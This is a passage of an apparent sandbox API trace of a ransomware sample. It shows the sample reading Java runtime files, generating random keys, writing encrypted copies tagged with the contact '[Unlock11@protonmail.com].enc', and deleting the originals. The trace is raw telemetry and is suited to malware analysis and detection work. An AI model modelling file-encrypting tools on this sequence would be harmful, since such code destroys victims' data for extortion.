0x0 [0125.240] GetCurrentThreadId () returned 0x9b0 [0125.240] GetLastError () returned 0x0 [0125.241] GetCurrentThreadId () returned 0x9b0 [0125.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0125.241] GetLastError () returned 0x0 [0125.241] GetLastError () returned 0x0 [0125.241] GetLastError () returned 0x0 [0125.241] GetLastError () returned 0x0 [0125.241] GetCurrentThreadId () returned 0x9b0 [0125.241] GetLastError () returned 0x0 [0125.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0125.242] GetLastError () returned 0x0 [0125.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0125.242] GetLastError () returned 0x0 [0125.242] GetLastError () returned 0x0 [0125.242] GetLastError () returned 0x0 [0125.242] GetCurrentThreadId () returned 0x9b0 [0125.242] GetLastError () returned 0x0 [0125.242] GetLastError () returned 0x0 [0125.242] GetLastError () returned 0x0 [0125.243] GetLastError () returned 0x0 [0125.243] GetLastError () returned 0x0 [0125.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.243] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0125.243] GetLastError () returned 0x0 [0125.243] GetCurrentThreadId () returned 0x9b0 [0125.243] GetLastError () returned 0x0 [0125.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0125.243] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b4e4 | out: pbBuffer=0x366b4e4) returned 1 [0125.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0125.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0125.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0125.244] GetCurrentThreadId () returned 0x9b0 [0125.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e60 [0125.244] GetLastError () returned 0x0 [0125.244] GetLastError () returned 0x0 [0125.244] GetLastError () returned 0x0 [0125.244] GetLastError () returned 0x0 [0125.244] GetCurrentThreadId () returned 0x9b0 [0125.244] GetLastError () returned 0x0 [0125.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e60 | out: hHeap=0x2ad0000) returned 1 [0125.245] GetCurrentThreadId () returned 0x9b0 [0125.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ff0 [0125.245] GetLastError () returned 0x0 [0125.245] GetLastError () returned 0x0 [0125.245] GetLastError () returned 0x0 [0125.245] GetLastError () returned 0x0 [0125.245] GetCurrentThreadId () returned 0x9b0 [0125.245] GetLastError () returned 0x0 [0125.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ff0 | out: hHeap=0x2ad0000) returned 1 [0125.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0125.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a37d0 | out: hHeap=0x2ad0000) returned 1 [0125.246] GetLastError () returned 0x0 [0125.246] GetLastError () returned 0x0 [0125.246] GetLastError () returned 0x0 [0125.246] GetLastError () returned 0x0 [0125.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653e8 [0125.246] GetLastError () returned 0x0 [0125.246] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.247] GetFileType (hFile=0x39c) returned 0x1 [0125.247] GetLastError () returned 0x0 [0125.247] GetCurrentThreadId () returned 0x9b0 [0125.247] GetLastError () returned 0x0 [0125.247] GetFileType (hFile=0x39c) returned 0x1 [0125.247] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.247] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.247] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.247] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.247] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.247] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.248] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.248] GetLastError () returned 0x0 [0125.248] GetCurrentThreadId () returned 0x9b0 [0125.248] GetLastError () returned 0x0 [0125.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653e8 | out: hHeap=0x2ad0000) returned 1 [0125.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0125.248] GetCurrentThreadId () returned 0x9b0 [0125.248] GetLastError () returned 0x0 [0125.248] GetLastError () returned 0x0 [0125.248] GetLastError () returned 0x0 [0125.248] GetLastError () returned 0x0 [0125.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265468 [0125.249] GetLastError () returned 0x0 [0125.249] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.249] GetFileType (hFile=0x3ac) returned 0x1 [0125.249] GetLastError () returned 0x0 [0125.249] GetCurrentThreadId () returned 0x9b0 [0125.250] GetLastError () returned 0x0 [0125.250] GetFileType (hFile=0x3ac) returned 0x1 [0125.250] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.250] GetLastError () returned 0x0 [0125.250] GetCurrentThreadId () returned 0x9b0 [0125.250] GetLastError () returned 0x0 [0125.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0125.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0125.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0125.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0125.251] GetLastError () returned 0x0 [0125.251] GetLastError () returned 0x0 [0125.251] GetCurrentThreadId () returned 0x9b0 [0125.251] GetLastError () returned 0x0 [0125.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.251] GetCurrentThreadId () returned 0x9b0 [0125.253] GetCurrentThreadId () returned 0x9b0 [0125.254] GetCurrentThreadId () returned 0x9b0 [0125.254] GetCurrentThreadId () returned 0x9b0 [0125.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0125.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.256] GetCurrentThreadId () returned 0x9b0 [0125.256] GetCurrentThreadId () returned 0x9b0 [0125.256] GetCurrentThreadId () returned 0x9b0 [0125.257] GetCurrentThreadId () returned 0x9b0 [0125.257] GetCurrentThreadId () returned 0x9b0 [0125.257] GetCurrentThreadId () returned 0x9b0 [0125.257] CloseHandle (hObject=0x3ac) returned 1 [0125.258] GetCurrentThreadId () returned 0x9b0 [0125.258] CloseHandle (hObject=0x39c) returned 1 [0125.258] GetCurrentThreadId () returned 0x9b0 [0125.258] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 1 [0125.259] GetCurrentThreadId () returned 0x9b0 [0125.260] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll", lpFilePart=0x9bada4*="sunec.dll") returned 0x30 [0125.260] GetCurrentThreadId () returned 0x9b0 [0125.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0125.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0125.260] GetCurrentThreadId () returned 0x9b0 [0125.260] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll", lpFilePart=0x9bada4*="sunmscapi.dll") returned 0x34 [0125.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0125.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0125.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0125.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0125.261] GetCurrentThreadId () returned 0x9b0 [0125.261] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll", lpFilePart=0x9bada4*="t2k.dll") returned 0x2e [0125.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.261] GetCurrentThreadId () returned 0x9b0 [0125.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0125.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.261] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", lpFilePart=0x9bada4*="tnameserv.exe") returned 0x34 [0125.261] GetCurrentThreadId () returned 0x9b0 [0125.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0125.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e60 [0125.262] GetCurrentThreadId () returned 0x9b0 [0125.262] GetCurrentThreadId () returned 0x9b0 [0125.262] GetCurrentThreadId () returned 0x9b0 [0125.262] GetCurrentThreadId () returned 0x9b0 [0125.262] GetCurrentThreadId () returned 0x9b0 [0125.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.263] GetCurrentThreadId () returned 0x9b0 [0125.263] GetCurrentThreadId () returned 0x9b0 [0125.263] GetCurrentThreadId () returned 0x9b0 [0125.263] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.263] GetCurrentThreadId () returned 0x9b0 [0125.263] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b55c | out: pbBuffer=0x366b55c) returned 1 [0125.263] GetCurrentThreadId () returned 0x9b0 [0125.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0125.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0125.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0125.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.264] GetCurrentThreadId () returned 0x9b0 [0125.264] GetCurrentThreadId () returned 0x9b0 [0125.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.264] GetCurrentThreadId () returned 0x9b0 [0125.264] GetCurrentThreadId () returned 0x9b0 [0125.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265298 [0125.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4ec8 | out: hHeap=0x2ad0000) returned 1 [0125.265] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.265] GetFileType (hFile=0x39c) returned 0x1 [0125.265] GetCurrentThreadId () returned 0x9b0 [0125.265] GetFileType (hFile=0x39c) returned 0x1 [0125.265] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.265] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.265] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.265] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.265] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.265] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.266] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.266] GetLastError () returned 0x0 [0125.266] GetCurrentThreadId () returned 0x9b0 [0125.266] GetLastError () returned 0x0 [0125.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0125.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0125.266] GetLastError () returned 0x0 [0125.266] GetLastError () returned 0x0 [0125.266] GetLastError () returned 0x0 [0125.266] GetLastError () returned 0x0 [0125.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652b8 [0125.267] GetLastError () returned 0x0 [0125.267] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.267] GetFileType (hFile=0x3ac) returned 0x1 [0125.267] GetLastError () returned 0x0 [0125.267] GetCurrentThreadId () returned 0x9b0 [0125.267] GetLastError () returned 0x0 [0125.267] GetFileType (hFile=0x3ac) returned 0x1 [0125.268] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.268] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.268] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.268] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.268] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.268] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.268] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.268] GetLastError () returned 0x0 [0125.268] GetCurrentThreadId () returned 0x9b0 [0125.268] GetLastError () returned 0x0 [0125.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0125.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa28b8 | out: hHeap=0x2ad0000) returned 1 [0125.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.269] GetLastError () returned 0x0 [0125.269] GetLastError () returned 0x0 [0125.269] GetCurrentThreadId () returned 0x9b0 [0125.269] GetLastError () returned 0x0 [0125.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.269] GetLastError () returned 0x0 [0125.269] GetLastError () returned 0x0 [0125.269] GetCurrentThreadId () returned 0x9b0 [0125.269] GetLastError () returned 0x0 [0125.270] GetLastError () returned 0x0 [0125.271] GetLastError () returned 0x0 [0125.271] GetCurrentThreadId () returned 0x9b0 [0125.271] GetLastError () returned 0x0 [0125.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0125.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x381b008 [0125.272] GetCurrentThreadId () returned 0x9b0 [0125.272] GetLastError () returned 0x0 [0125.272] GetLastError () returned 0x0 [0125.272] GetLastError () returned 0x0 [0125.272] GetLastError () returned 0x0 [0125.272] GetCurrentThreadId () returned 0x9b0 [0125.272] GetLastError () returned 0x0 [0125.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0125.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.273] GetLastError () returned 0x0 [0125.274] GetLastError () returned 0x0 [0125.274] GetCurrentThreadId () returned 0x9b0 [0125.274] GetLastError () returned 0x0 [0125.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.275] GetLastError () returned 0x0 [0125.275] GetLastError () returned 0x0 [0125.275] GetCurrentThreadId () returned 0x9b0 [0125.275] GetLastError () returned 0x0 [0125.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.275] GetLastError () returned 0x0 [0125.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.276] CloseHandle (hObject=0x3ac) returned 1 [0125.276] GetLastError () returned 0x0 [0125.276] GetCurrentThreadId () returned 0x9b0 [0125.276] GetLastError () returned 0x0 [0125.276] GetLastError () returned 0x0 [0125.276] CloseHandle (hObject=0x39c) returned 1 [0125.276] GetLastError () returned 0x0 [0125.276] GetCurrentThreadId () returned 0x9b0 [0125.276] GetLastError () returned 0x0 [0125.276] GetLastError () returned 0x0 [0125.277] GetLastError () returned 0x0 [0125.277] GetLastError () returned 0x0 [0125.277] GetLastError () returned 0x0 [0125.277] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 1 [0125.278] GetLastError () returned 0x0 [0125.278] GetCurrentThreadId () returned 0x9b0 [0125.278] GetLastError () returned 0x0 [0125.278] GetCurrentThreadId () returned 0x9b0 [0125.278] GetLastError () returned 0x0 [0125.278] GetLastError () returned 0x0 [0125.278] GetLastError () returned 0x0 [0125.279] GetLastError () returned 0x0 [0125.279] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll", lpFilePart=0x9bada4*="unpack.dll") returned 0x31 [0125.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0125.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0125.279] GetCurrentThreadId () returned 0x9b0 [0125.279] GetLastError () returned 0x0 [0125.279] GetLastError () returned 0x0 [0125.279] GetLastError () returned 0x0 [0125.279] GetLastError () returned 0x0 [0125.280] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe", lpFilePart=0x9bada4*="unpack200.exe") returned 0x34 [0125.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0125.280] GetCurrentThreadId () returned 0x9b0 [0125.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0125.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0125.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0125.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5eb0 [0125.280] GetLastError () returned 0x0 [0125.280] GetLastError () returned 0x0 [0125.280] GetLastError () returned 0x0 [0125.281] GetLastError () returned 0x0 [0125.281] GetCurrentThreadId () returned 0x9b0 [0125.281] GetLastError () returned 0x0 [0125.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5eb0 | out: hHeap=0x2ad0000) returned 1 [0125.281] GetCurrentThreadId () returned 0x9b0 [0125.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.281] GetLastError () returned 0x0 [0125.281] GetLastError () returned 0x0 [0125.281] GetLastError () returned 0x0 [0125.281] GetLastError () returned 0x0 [0125.282] GetCurrentThreadId () returned 0x9b0 [0125.282] GetLastError () returned 0x0 [0125.282] GetLastError () returned 0x0 [0125.282] GetLastError () returned 0x0 [0125.282] GetLastError () returned 0x0 [0125.282] GetLastError () returned 0x0 [0125.282] GetCurrentThreadId () returned 0x9b0 [0125.282] GetLastError () returned 0x0 [0125.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.282] GetLastError () returned 0x0 [0125.282] 